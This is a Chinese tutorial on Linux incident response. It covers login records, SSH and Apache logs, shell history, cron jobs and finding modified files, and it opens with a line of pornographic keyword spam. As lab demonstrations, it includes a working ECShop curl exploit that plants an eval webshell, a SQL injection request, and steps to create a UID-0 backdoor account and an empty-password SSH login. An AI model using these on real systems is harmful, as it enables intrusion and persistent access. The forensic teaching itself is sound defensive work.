国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查

這篇具有很好參考價值的文章主要介紹了Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

1.1 查看當前已經(jīng)登錄到系統(tǒng)的用戶

w 是一個命令行工具,它可以展示當前登錄用戶信息,并且每個用戶正在做什么。它同時展示以下信
息:系統(tǒng)已經(jīng)運行多長時間,當前時間,和系統(tǒng)負載。

[root@xuegod63 ~] w 
 10:45:27 up 3 min, 1 user, load average: 0.19, 0.22, 0.10 
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 
root pts/0 123.113.242.67 10:44 7.00s 0.00s 0.00s w 

第一行展示的信息和 uptime 命令運行結(jié)果一樣。它包含了下列信息:
10:45:27 系統(tǒng)當前時間
up 3 min 系統(tǒng)上線時間
1 user 登錄用戶數(shù)目
load average: 0.19, 0.22, 0.10 - 過去 1 分鐘,5 分鐘和 15 分鐘內(nèi),系統(tǒng)負載平均值。這個值
是對正在運行或者等待磁盤 I/O 操作的任務(wù)數(shù)目的一個考量。它基本上是告訴你過去的一段時間,系統(tǒng)
有多忙?

第二行包括以下信息:

USER - 登錄用戶名 
TTY - 登錄用戶使用的終端名稱 
FROM - 來自登錄用戶的主機名或者 IP 
LOGIN@ - 用戶登錄時間 
IDLE - 從用戶上次和終端交互到現(xiàn)在的時間,即空閑時間 
JCPU - 依附于 tty 的所有進程的使用時間 
PCPU - 用戶當前進程的使用時間。當前進程名稱顯示在 WHAT 
WHAT - 用戶當前進程和選項、參數(shù) 

1.2 查看所有用戶最近一次登錄

lastlog 命令 用于顯示系統(tǒng)中所有用戶最近一次登錄信息。
lastlog 文件在每次有用戶登錄時被查詢??梢允褂?lastlog 命令檢查某特定用戶上次登錄的時間,
并格式化輸出上次登錄日志/var/log/lastlog 的內(nèi)容。它根據(jù) UID 排序顯示登錄名、端口號(tty)和上
次登錄時間
。如果一個用戶從未登錄過,lastlog 顯示Never logged。

注意需要以 root 身份運行該命令。

[root@xuegod63 ~] lastlog
 
Username Port From Latest 
root pts/0 123.113.242.67 Wed Sep 8 10:44:05 +0800 2021 
bin **Never logged in** 
daemon **Never logged in** 
adm **Never logged in** 
lp **Never logged in** 
ecshop pts/12 123.113.246.37 Fri Aug 13 22:36:40 +0800 2021 
dedecms pts/16 183.11.73.143 Fri Aug 13 21:38:47 +0800 2021 
discuzml pts/8 112.42.32.244 Fri Aug 13 21:55:04 +0800 2021 
discuzx pts/8 112.42.32.244 Fri Aug 13 22:04:52 +0800 2021 

但是記錄中會有很多未登錄的用戶,可以通過 grep -v 命令進行過濾,不顯示沒有登錄過的用戶。

[root@xuegod63 ~] lastlog |grep -v "Never logged in" 

Username Port From Latest 
root pts/0 123.113.242.67 Wed Sep 8 10:44:05 +0800 2021 
ecshop pts/12 123.113.246.37 Fri Aug 13 22:36:40 +0800 2021 
dedecms pts/16 183.11.73.143 Fri Aug 13 21:38:47 +0800 2021 
discuzml pts/8 112.42.32.244 Fri Aug 13 21:55:04 +0800 2021 
discuzx pts/8 112.42.32.244 Fri Aug 13 22:04:52 +0800 2021 

1.3 查看歷史登錄用戶以及登錄失敗的用戶

last 可以查看所有成功登錄到系統(tǒng)的用戶記錄,lastb 查看登錄成功和失敗的用戶記錄。

單獨執(zhí)行 last 指令時,它會讀取位于/var/log/wtmp 的文件,并把該給文件的內(nèi)容記錄的登錄系統(tǒng)
的用戶名單全部顯示出來。

last 查看

[root@xuegod63 ~] last 

root pts/7 183.198.217.75 Fri Aug 13 20:32 gone - no logout 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:32 (00:00) 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:31 (00:00) 

…省略大量記錄

查看最近 5 個登錄的用戶。
[root@xuegod63 ~] last -n 5 

root pts/7 183.198.217.75 Fri Aug 13 20:32 gone - no logout 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:32 (00:00) 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:31 (00:00) 
root pts/10 59.41.69.140 Fri Aug 13 20:29 gone - no logout 
root pts/9 59.41.68.92 Fri Aug 13 20:29 gone - no logout 
-a 參數(shù)把 ip 列放在最后一行
[root@xuegod63 ~] last -a -n 5  

root pts/7 Fri Aug 13 20:32 gone - no logout 183.198.217.75 
root pts/6 Fri Aug 13 20:31 - 20:32 (00:00) 183.198.217.75 
root pts/6 Fri Aug 13 20:31 - 20:31 (00:00) 183.198.217.75 
root pts/10 Fri Aug 13 20:29 gone - no logout 59.41.69.140 
root pts/9 Fri Aug 13 20:29 gone - no logout 59.41.68.92 
-d ip 地址轉(zhuǎn)換為主機名。

該參數(shù)可以獲取登錄到系統(tǒng)的用戶所使用的的主機名,如果目標適用的vps 服務(wù)器綁定了域名,該參數(shù)有可能獲取到目標域名。

[root@xuegod63 ~] last -a -d |awk -F' ' '{print $1 "\t" $NF}' 

root 6.14.95.218.broad.gz.jx.dynamic.163data.com.cn 
root 10.45.136.117.static.js.chinamobile.com 
root 6.14.95.218.broad.gz.jx.dynamic.163data.com.cn 

以上地址是阿里云保留地址。

注:awk 命令可以幫我們?nèi)〕鑫覀兿胍牧校?F 指定分隔符,每列之間使用空格分隔,print 打印 $1 第一列 $NF 打印最后一列
"\t"添加 tab 符分隔,一般是 4 個空格。

對登錄系統(tǒng)的用戶和 ip 進行排序計數(shù)。

這里去掉-d 參數(shù),因為找不到主機名的地址會顯示 error.arpa

[root@xuegod63 ~] last -a |awk -F' ' '{ print $1 "\t" $NF}' |sort |uniq -c |sort -nr 

 16 root 123.113.246.37 
 10 reboot 3.10.0-1160.11.1.el7.x86_64 
 6 root 183.198.217.75 
 2 root 59.41.68.92 
 2 root 47.241.121.65 
 2 root 218.95.14.6 
 2 root 117.136.45.10 

sort 會將文本進行排序
默認排序會把一樣的行都排到一起。
Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

uniq -c 計數(shù)
Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器
sort -nr 排序 -nr 倒序 -n 正序
Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

lastb 查看所有登錄記錄包含失敗。
[root@xuegod63 ~] lastb -a |awk -F' ' '{ print $1 "\t" $NF}' |sort |uniq -c |sort -nr

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

登錄失敗的請求更重要的是 ip 地址信息,所以我們只取 ip 地址進行統(tǒng)計。
[root@xuegod63 ~] lastb -a |awk '{print $NF}' |sort |uniq -c |sort -nr 

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

1.4 SSH 登錄日志分析

系統(tǒng)用戶登錄都會在/var/log/secure 日志文件中記錄。但是這個日志文件會被系統(tǒng)自動分割。

ll -ld /var/log/secure* 
[root@xuegod63 ~] ll -ld /var/log/secure* 

-rw------- 1 root root 440 Sep 8 11:55 /var/log/secure 
-rw-------. 1 root root 1 Aug 13 11:43 /var/log/secure-20210813 
-rw------- 1 root root 98166 Sep 8 11:49 /var/log/secure-20210908 

通過通配符查看所有 secure 文件中登錄失敗的記錄。

[root@xuegod63 ~] grep Failed /var/log/secure*

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

取出第九列和第十一列。

[root@xuegod63 ~] grep Failed /var/log/secure* |awk -F' ' '{print $9 "\t" $11}' 

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器
但是這里有一些意料之外的記錄,這是攻擊者錯誤配置登錄導(dǎo)致的??梢酝ㄟ^ grep -v 去掉這些記
錄。但是這種亂搞的人的 ip 地址我們要單獨關(guān)注一下。

[root@xuegod63 ~] grep Failed /var/log/secure* |grep invalid |awk -F' ' '{print $13}' 
124.88.182.50 
124.88.182.50 
124.88.182.50 
112.42.32.244 

過濾用戶名+登錄失敗的 IP

[root@xuegod63 ~] grep Failed /var/log/secure* |grep -v "invalid"|grep -v "release" 
|awk -F' ' '{print $9 "\t" $11}' |sort |uniq -c | sort -nr 

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

查看登錄成功的 ip

[root@xuegod63 ~] grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq 
-c | sort -nr | more 

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

1.5 查看系統(tǒng)歷史命令

系統(tǒng)歷史命令一般保存在用戶家目錄下.bash_history 文件中

[root@xuegod63 ~] find / -name .bash_history 

/home/admin/.bash_history 
/home/ecshop/.bash_history 
/home/www/.bash_history 
/home/discuzx/.bash_history 
/home/discuzml/.bash_history 
/home/dedecms/.bash_history 
/root/.bash_history 

查看當前用戶的歷史命令:

[root@xuegod63 ~]# history
Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器
歷史命令會很多使用的時候多配合其他命令一起使用,比如 more 或 grep。如果某個用戶被黑客
登錄過了就一定要查看該用戶的所有歷史命令信息。重點關(guān)注黑客修改了了哪些文件。

另外默認的歷史命令中僅僅記錄歷史命令,并不會記錄額外的信息幫助我們分析。

自定義歷史命令輸出格式:添加一下配置到/etc/profile

[root@xuegod63 ~] vim /etc/profile #追加以下內(nèi)容 
#記錄登陸者 IP 地址 who 命令可以查看當前登錄信息。 
USER_IP=`who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g'` 
#日志文件存放路徑。 
HISTDIR=/var/log/history 
#設(shè)置日期 
DT=`date +%Y-%m-%d` 
 
#判斷用戶 IP 地址如果不存在或者為.則用戶 IP 用本機主機名代替。 
if [ -z $USER_IP ] 
then 
USER_IP=`hostname` 
fi 
pdf="." 
if [[ ! $USER_IP == *${pdf}* ]] 
then 
USER_IP=`hostname` 
fi 
 
#判斷日志文件路徑是否存在,如果不存在則創(chuàng)建并添加權(quán)限。 
if [ ! -d $HISTDIR ] 
then 
mkdir -p $HISTDIR 
chmod 773 $HISTDIR 
fi 
 
#創(chuàng)建對應(yīng)日期的日志文件 
if [ ! -d $HISTDIR/${DT} ] 
then 
mkdir -p $HISTDIR/${DT} 
chmod 773 $HISTDIR/${DT} 
fi 
 
 
#指定日志存放數(shù)量的總數(shù) 
export HISTFILESIZE=10000 
#配置 history 命令輸出的總數(shù) 
export HISTSIZE=10000 
#配置文件具體時間 
DT2=`date +%Y%m%d_%H:%M:%S` 
#拼接文件名/var/log/history/日期 2021-09-08 /當前用戶名@用戶 ip_當前時間 
#DT1 是日期 DT2 是準確到秒的準確時間。 
export HISTFILE="$HISTDIR/${DT}/${LOGNAME}@${USER_IP}_$DT2" 
#設(shè)置歷史命令中的時間戳,history 命令有效,文件中顯示時間戳。
export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S $" 

重新加載配置文件。

[root@xuegod63 ~] source /etc/profile 

查看歷史命令,已經(jīng)帶了時間戳信息。

[root@xuegod63 ~] history 5 
 609 2021-09-08 15:18:58 $su - dedecms 
 610 2021-09-08 15:51:08 $vim /etc/profile 
 611 2021-09-08 15:51:14 $source /etc/profile 
 612 2021-09-08 15:51:15 $history 
 613 2021-09-08 15:51:57 $history 5 

將本次登錄的命令寫入命令歷史文件中,命令不是使用了就立即寫入到文件中的,會現(xiàn)在緩存中,用
戶退出登錄時會自動寫入文件,-w 命令可以立即寫入,-c 命令可以清除當前緩存中的命令。

[root@xuegod63 ~] history -w 

查看文件信息

[root@xuegod63 ~] ll /var/log/history/2021-09-08/root\@123.113.242.67_20210908_15\:51\:14 
-rw------- 1 root root 18147 Sep 8 15:52 /var/log/history/2021-09-08/root@123.113.242.67_20210908_15:51:14 

文件名中記錄了用戶名-ip-時間。文件內(nèi)容中記錄了詳細的命令以及命令執(zhí)行的時間戳。

[root@xuegod63 ~] tail -f /var/log/history/2021-09-08/root\@123.113.242.67_20210908_15\:51\:14 

常用系統(tǒng)日志說明

日志目錄 作用

/var/log/message 包括整體系統(tǒng)信息 
/var/log/auth.log 包含系統(tǒng)授權(quán)信息,包括用戶登錄和使用的權(quán)限機制等 
/var/log/userlog 記錄所有等級用戶信息的日志 
/var/log/cron 記錄 crontab 命令是否被正確的執(zhí)行 
/var/log/vsftpd.log 記錄 Linux FTP 日志 
/var/log/lastlog 記錄登錄的用戶,可以使用命令 lastlog 查看 
/var/log/secure 記錄大多數(shù)應(yīng)用輸入的賬號與密碼,登錄成功與否 
/var/log/wtmp 記錄登錄系統(tǒng)成功的賬戶信息,等同于命令 last 
/var/log/btmp 記錄記錄的登入系統(tǒng)失敗的用戶名單,等同于命令 lastb 
/var/log/faillog 記錄登錄系統(tǒng)不成功的賬號信息,一般會被黑客刪除 

1.6 計劃任務(wù)日志

所有執(zhí)行過的計劃任務(wù)都會存在在/var/log/cron 文件中。

查看所有執(zhí)行過的計劃任務(wù)。

[root@xuegod63 ~] cat /var/log/cron* |awk -F':' '{print $NF}' |grep CMD |sort|uniq -c |sort -rn 

查看所有用戶的計劃任務(wù)

[root@xuegod63 ~]# cat /etc/passwd | cut -f 1 -d : |xargs -i crontab -l -u {} 

也可以直接查看/var/spool/cron/下的文件內(nèi)容,所有用戶級別的計劃任務(wù),都在這里有文件

[root@xuegod63 log] ls /var/spool/cron/ 
root 
[root@xuegod63 log] cat /var/spool/cron/root 

以上是用戶級別的系統(tǒng)任務(wù)。系統(tǒng)級別的計劃任務(wù)只能排查配置文件中的內(nèi)容。

[root@xuegod63 log] find /etc/cron* -type f #查看系統(tǒng)級別的計劃任務(wù)文件名 
/etc/cron.d/0hourly 
/etc/cron.d/sysstat 
/etc/cron.daily/mlocate 
/etc/cron.daily/logrotate 
/etc/cron.daily/man-db.cron 
/etc/cron.deny 
/etc/cron.hourly/0anacron 
/etc/crontab 

1.7 檢查系統(tǒng)用戶

Linux 系統(tǒng)用戶主要存放于/etc/passwd 文件和/etc/shadow 文件中當然還有一個組文件
/etc/group。

[root@xuegod63 ~] head -n 1 /etc/passwd 
root:x:0:0:root:/root:/bin/bash 

注:/etc/passwd 文件存放的是用戶的信息,由 6 個分號組成的 7 個信息,解釋如下

(1):用戶名。 
(2):密碼(已經(jīng)加密) 
(3):UID(用戶標識),操作系統(tǒng)自己用的 
(4):GID 組標識。 
(5):用戶全名或本地帳號 
(6):開始目錄 
(7):登錄使用的 Shell,就是對登錄命令進行解析的工具。 

重點在于 UID 和 GID,root 用戶的用戶表示為 0,如果一個普通用戶的 UID 修改為 0,那么這個用 戶就成為了 root用戶。

1、修改用戶 UID 為 0,偽裝成 root 用戶

[root@xuegod63 ~] useradd xuegod #新增用戶的信息。 
[root@xuegod63 ~] tail -n 1 /etc/passwd 
xuegod:x:1000:1000::/home/xuegod:/bin/bash 
[root@xuegod63 ~] vim /etc/passwd 
xuegod:x:0:1000::/home/xuegod:/bin/bash 

查看用戶身份,用戶名還是 xuegod,用戶身份已經(jīng)識別為 root。

[root@xuegod63 ~] id 
uid=0(root) gid=1000(xuegod) groups=1000(xuegod) 

此時 xuegod 用戶擁有 root 用戶所有權(quán)限。
查找用戶 uid=0 的用戶

[root@xuegod63 ~] awk -F: '$3==0 {print $1}' /etc/passwd 
root 
xuegod 

2、使用空口令賬戶登錄 Linux 系統(tǒng)

正常情況,沒有密碼,用戶是登錄不了 linux 的。下面模擬黑客以空口令方式登錄系統(tǒng)。
(1)、設(shè)置 sshd 服務(wù)允許空口令帳號登錄系統(tǒng)

[root@xuegod63 ~] vim /etc/ssh/sshd_config 
改:#PermitEmptyPasswords no 
為:PermitEmptyPasswords yes 
[root@xuegod63 ~] systemctl restart sshd 

(2)、創(chuàng)建空口令帳號

[root@xuegod63 ~] useradd test 
[root@xuegod63 ~] passwd test 
[root@xuegod63 ~] vim /etc/shadow #刪除 test 密碼信息,test 就成為空口令用戶 
改: 
test:$6$GGylrTxY$evNbwbgNDb8/5XF.9fjgrSm7fNWd1MLFh64WPqtzed8Fcl.tUmeep3O.LveE5QO9w4xC25hHJXh11kspaU5Oe1:18894:0:99999:7::: 
為:test: :18894:0:99999:7::: 

(3)、測試空口令用戶登錄系統(tǒng)

[root@xuegod63 ~] ssh test@192.168.1.63 #直接回車就可以登錄成功,不用輸入密碼 
[test@xuegod63 ~]$ 

1.8 中間件日志

這里以實際靶場中的日志給大家分析,通常日志文件在/var/log/httpd/access_log 目錄下。具體
可以看 apache 服務(wù)的配置文件中指定的日志文件路徑。

Apache 日志字段說明: 
字段名稱 描述 
遠程主機 IP 表明是誰訪問了網(wǎng)站 
空白(E-mail) 為了避免用戶的郵箱被垃圾郵件騷擾,第二項就用“-”取代了 
空白(登錄名) 用于記錄瀏覽者進行身份驗證時提供的名字 
請求時間 用方括號包圍,而且采用“公用日志格式”或者“標準英文格式”。 時間
信息最后的“+0800”表示服務(wù)器所處時區(qū)位于 UTC 之后的 8 小時 
方法 請求的方式:METHOD、GET、POST、HEAD 等 
資源 請求的文件 
協(xié)議 請求的協(xié)議:HTTP+版本號 
狀態(tài)碼 請求的狀態(tài)碼 
發(fā)送的字節(jié)數(shù) 表示發(fā)送給客戶端的總字節(jié)數(shù)。它告訴我們傳輸是否被打斷(該數(shù)值是否
和文件的大小相同) 
Referer 從哪個頁面鏈接過來的 
User-Agent 使用的操作系統(tǒng)及版本、CPU 類型、瀏覽器及版本、瀏覽器渲染引擎、
瀏覽器語言、瀏覽器插件等信息。 
[root@xuegod63 ~] cat /www/wwwlogs/access_log |less 

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

日志分析的痛點:只能看到 GET 請求的請求操作,POST 請求看不到對服務(wù)器提交的內(nèi)容。

查詢訪問網(wǎng)站次數(shù)最多的 10 個 IP 地址。

[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 1 -d ' '|sort|uniq -c|sort -nr|head -10 

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

查看訪問最多的 URI

[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 7 -d ' '|sort|uniq -c|sort -nr|head -10 

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

查看服務(wù)哪個時間段訪問量最高。

[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 4 -d ' '|sort|uniq -c|sort -nr|head -10 

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

查看日志中存在 select 的請求,如果站點存在 GET 類型的 SQL 注入,可以通過 SQL 語句中的關(guān)鍵
詞篩選。這里僅舉例,其他關(guān)鍵字自行替換。下面為 DVWA 測試數(shù)據(jù)。

[root@xuegod63 ~]# grep select /www/wwwlogs/access_log 
120.244.60.57 - - [08/Sep/2021:16:19:02 +0800] "GET /DVWAmaster/vulnerabilities/sqli/?id=13213%27union+select+1%2C2%2C3+--+%2B&Submit=Submit HTTP/1.1" 200 72 "http://xxx.xxx.xxx.xxx/DVWAmaster/vulnerabilities/sqli/"
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" 

通過日志可快速定位到攻擊者 ip 地址,攻擊發(fā)起的時間,過濾出由攻擊者 IP 發(fā)起的所有請求即可還

原該用戶的所有請求記錄。

[root@xuegod63 log] grep "120.244.60.57" /www/wwwlogs/access_log 

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

1.9 通過時間檢查站點被黑客修改過的文件

通過文件的創(chuàng)建修改時間來分析這個期間黑客修改了哪些內(nèi)容。下面用 Webshell 和日志來演示,方
法對于黑客在服務(wù)器上留下后門程序是一樣的,只是 webshell 的檢查范圍只有站點資源文件。
這里我們模擬測試數(shù)據(jù)對 ecshop 站點寫入 webshell。

[root@xuegod63 ~] curl http://ecshop.xueshenit.com/user.php -d 
"action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5z
cHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" -H 
'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 
1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2
f286261736536345f6465636f646528275a585a686243676b5831425055315262646e567362
6e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' 
union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a' 

此時 webshell 已經(jīng)寫入到服務(wù)器。這里我們可以通過新文件的創(chuàng)建日期來判斷入侵時間,得到入侵
時間之后我們可以關(guān)注一下這個時間段的服務(wù)器日志。 相反如果我們在日志中找到了入侵時間,也可
以根據(jù)時間范圍來查找黑客修改了哪些文件。

檢查最近 1 天內(nèi)被修改過的文件。

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime -1 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
/www/wwwroot/ecshop.xueshenit.com/temp/query_caches/sqlcache_config_file_6bb9
6e533c71059dc72d724582e8a24b.php 
/www/wwwroot/ecshop.xueshenit.com/temp/compiled/user_passport.dwt.php
/www/wwwroot/ecshop.xueshenit.com/temp/compiled/goto_ecmoban.lbi.php 

/www/wwwroot/ecshop.xueshenit.com/temp/compiled/goto_ecmoban.lbi.php

find -name "*.php" 查找*.php 文件。 
-mtime -1 查找最近 1 天內(nèi)被修改過的文件。 
注:0 表示 24 小時內(nèi)修改過的,1 表示昨天修改過的,2 表示前天修改過的。這是個單獨的日期,
想要指定 3 天之前到現(xiàn)在被修改過的文件則需要指定-3 
查看 30 天內(nèi)修改過的文件示例:-mtime -30 
Linux 文件有 3 個時間屬性 
atime access time 訪問時間 文件中的數(shù)據(jù)庫最后被訪問的時間 
mtime modify time 修改時間 文件內(nèi)容被修改的最后時間 
ctime change time 變化時間 文件的元數(shù)據(jù)發(fā)生變化。比如權(quán)限,所有者等 

stat 命令可以查看文件詳細信息。

[root@xuegod63 ~]# stat /www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
 File: ‘/www/wwwroot/ecshop.xueshenit.com/vulnspy.php’ 
 Size: 31 Blocks: 8 IO Block: 4096 regular file 
Device: fd01h/64769d Inode: 535716 Links: 1 
Access: (0644/-rw-r--r--) Uid: ( 1001/ www) Gid: ( 1001/ www) 
Access: 2021-09-14 15:16:21.579827018 +0800 
Modify: 2021-09-14 15:16:17.217656461 +0800 
Change: 2021-09-14 15:16:17.217656461 +0800 
 Birth: - 

但是 ls 命令默認查看的日期格式是英文的,如果想修改為 2021-09-14 這樣的格式需要進行修改。

[root@xuegod63 ~] echo "export TIME_STYLE='+%Y/%m/%d %H:%M:%S'" >> /etc/profile 
[root@xuegod63 ~] source /etc/profile 
 
[root@xuegod63 ~] ll /www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
-rw-r--r-- 1 www www 31 2021/09/14 15:16:17 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php 

分析結(jié)果,一共找到 4 個 24 小時內(nèi)修改過的文件,但是有 3 個文件是 temp 臨時目錄下的,所以可
能是系統(tǒng)運行所產(chǎn)生的臨時文件。
查看文件內(nèi)容:

[root@xuegod63 ~] cat /www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
<?php eval($_REQUEST[vulnspy]); 

如果站點中修改的文件過多可以 find 時進行過濾。常見的過濾規(guī)則 eval system 一句話常用的關(guān)鍵
詞進行過濾即可。有時先找到馬之后分析這個馬的關(guān)鍵詞進行過濾,比如通過 D 盾檢測 webshell。

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php:<?php eval($_REQUEST[vulnspy]); 

xargs 可以把前面 find 命令的輸出傳遞給后面的命令。

多個關(guān)鍵詞可以在 grep 條件中添加,添加方式如下:|或 需要\轉(zhuǎn)義。
grep “eval|system”

把 webshell 和日志中入侵記錄關(guān)聯(lián)起來。

[root@xuegod63 ~]# find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l 
-rw-r--r-- 1 www www 31 2021/09/14 11:39:34 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php 

通過日期可以定位到日志中的操作。

[root@xuegod63 log] grep "11:39:34" /www/wwwlogs/access_log 
47.241.121.65 - - [24/Sep/2021:11:39:34 +0800] "POST /user.php HTTP/1.1" 200 2 

可以看到攻擊者通過訪問 user.php 文件生成了 vulnspy.php 一句話木馬,所以我們可以判定
user.php 文件存在漏洞。修復(fù)方案可以到對應(yīng)的官網(wǎng)尋找修復(fù)補丁,或者百度搜索臨時解決辦法。

缺點:日志中可以看到是 POST 請求,日志是不保存 POST 中的 data 數(shù)據(jù)段的,所以看不到攻擊細
節(jié),一般安全防火墻設(shè)備中會提供完整報文。

批量查找寫入 webshell 的日志。

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l|awk '{print $7}' |xargs -I {} grep 
{} /www/wwwlogs/access_log 
47.240.66.200 - - [14/Sep/2021:15:16:17 +0800] "POST /user.php HTTP/1.1" 200 2 

原理很簡單,查找到文件之后通過 awk 取出文件名 ls -l +awk 取出文件日期,通過 grep 過濾日志
中和 webshell 相同日期的記錄。

查詢到攻擊者 IP 以及 webshell 之后就可以篩選對應(yīng)的日志。攻擊者 IP 并不是只會有一個。比如下
面的地址就是使用了代理的 IP。屬于境外 IP

查詢所有訪問一句話木馬的日志。

[root@xuegod63 ~] grep "vulnspy.php" /www/wwwlogs/access_log 
23.83.225.82 - - [14/Sep/2021:17:32:28 +0800] "POST /vulnspy.php HTTP/1.1" 200 160 
23.83.225.82 - - [14/Sep/2021:17:32:35 +0800] "POST /vulnspy.php HTTP/1.1" 200 163 
23.83.225.82 - - [14/Sep/2021:17:32:36 +0800] "POST /vulnspy.php HTTP/1.1" 200 831 
23.83.225.82 - - [14/Sep/2021:17:32:41 +0800] "POST /vulnspy.php HTTP/1.1" 200 161 
23.83.225.82 - - [14/Sep/2021:17:32:46 +0800] "POST /vulnspy.php HTTP/1.1" 200 78 
 

查詢 IP 歸屬

https://ip.fm/?ip=23.83.225.82

https://ipw.cn/ip/?ip=23.83.225.82
Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

查看該 ip 所有的記錄

[root@xuegod63 ~] grep "23.83.225.82" /www/wwwlogs/access_log

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器
查詢一定時間范圍內(nèi)被修改過的文件。多數(shù)情況下黑客并不是剛剛?cè)肭值竭@臺服務(wù)器的,有可能要追溯到很早,所以這個時候需要通過時間范圍來檢查系統(tǒng)文件。

find -mtime,這種查找的時間單位是天,怎么精確到分鐘呢?或者說按照時間戳去查找?這就需要
使用"-newermt"參數(shù)

例:將/www/wwwroot/ecshop.xueshenit.com/目錄下,2021-08-01 9:00 到 2021-09-15
21:00 時間段內(nèi)修改或生成的文件顯示出來。
該參數(shù)中的 m 其實就表示 mtime,t 表示絕對時間,那同樣還存在:-newerat、-newerct

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -newermt '2021-08-01 9:00' ! -newermt '2021-09-15 21:00' |xargs ls -l

Linux 應(yīng)急響應(yīng)-溯源-系統(tǒng)日志排查,運維文檔,網(wǎng)絡(luò)安全專欄,linux,運維,服務(wù)器

1.10 檢查服務(wù)器已經(jīng)建立的網(wǎng)絡(luò)連接

如果黑客已經(jīng)和服務(wù)器建立了連接,可通過查看當前服務(wù)器已經(jīng)建立的鏈接來分析惡意 ip 和進程。
Linux 中查看網(wǎng)絡(luò)連接常用 netstat

netstat 命令參數(shù) 
-a 或--all:顯示所有連線中的 Socket; 
-n 或--numeric:直接使用 ip 地址,而不通過域名服務(wù)器; 
-p 或--programs:顯示正在使用 Socket 的程序識別碼和程序名稱; 
-t 或--tcp:顯示 TCP 傳輸協(xié)議的連線狀況; 
-u 或--udp:顯示 UDP 傳輸協(xié)議的連線狀況; 

常用語法:

[root@xuegod63 ~] netstat -anutp 

